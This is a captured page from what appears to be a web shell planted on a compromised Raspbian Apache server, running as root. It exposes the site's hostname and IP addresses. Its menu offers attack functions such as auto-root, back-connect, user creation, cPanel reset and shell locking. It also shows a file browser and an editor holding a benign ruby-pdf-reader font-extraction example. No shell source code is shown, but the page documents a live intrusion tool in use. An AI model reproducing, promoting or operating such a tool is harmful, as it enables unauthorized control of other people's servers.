Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.238
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ruby-pdf-reader /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
callbacks.rb
551
B
-rwxr-xr-x
extract_bates.rb
1.36
KB
-rwxr-xr-x
extract_fonts.rb
1.75
KB
-rwxr-xr-x
extract_images.rb
8.04
KB
-rwxr-xr-x
fuzzy_paragraphs.rb
471
B
-rwxr-xr-x
hash.rb
265
B
-rwxr-xr-x
metadata.rb
296
B
-rwxr-xr-x
page_count.rb
311
B
-rwxr-xr-x
rspec.rb
716
B
-rwxr-xr-x
text.rb
303
B
-rwxr-xr-x
version.rb
273
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : extract_fonts.rb
#!/usr/bin/env ruby # coding: utf-8 # This demonstrates a way to extract TTF fonts from a PDF. It could be expanded # to support extra font formats if required. Be aware that many PDFs subset # fonts before they're embedded so glyphs may be missing or re-arranged. require 'pdf/reader' module ExtractFonts class Extractor def page(page) count = 0 return count if page.fonts.nil? || page.fonts.empty? page.fonts.each do |label, font| next if complete_refs[font] complete_refs[font] = true process_font(page, font) count += 1 end count end private def process_font(page, font) font = page.objects.deref(font) case font[:Subtype] when :Type0 then font[:DescendantFonts].each { |f| process_font(page, f) } when :TrueType, :CIDFontType2 then ExtractFonts::TTF.new(page.objects, font).save("#{font[:BaseFont]}.ttf") else $stderr.puts "unsupported font type #{font[:Subtype]}" end end def complete_refs @complete_refs ||= {} end end class TTF def initialize(objects, font) @objects, @font = objects, font @descriptor = @objects.deref(@font[:FontDescriptor]) end def save(filename) puts "#{filename}" if @descriptor && @descriptor[:FontFile2] stream = @objects.deref(@descriptor[:FontFile2]) File.open(filename, "wb") { |file| file.write stream.unfiltered_data } else $stderr.puts "- TTF font not embedded" end end end end filename = File.expand_path(File.dirname(__FILE__)) + "/../spec/data/cairo-unicode.pdf" extractor = ExtractFonts::Extractor.new PDF::Reader.open(filename) do |reader| page = reader.page(1) extractor.page(page) end
Close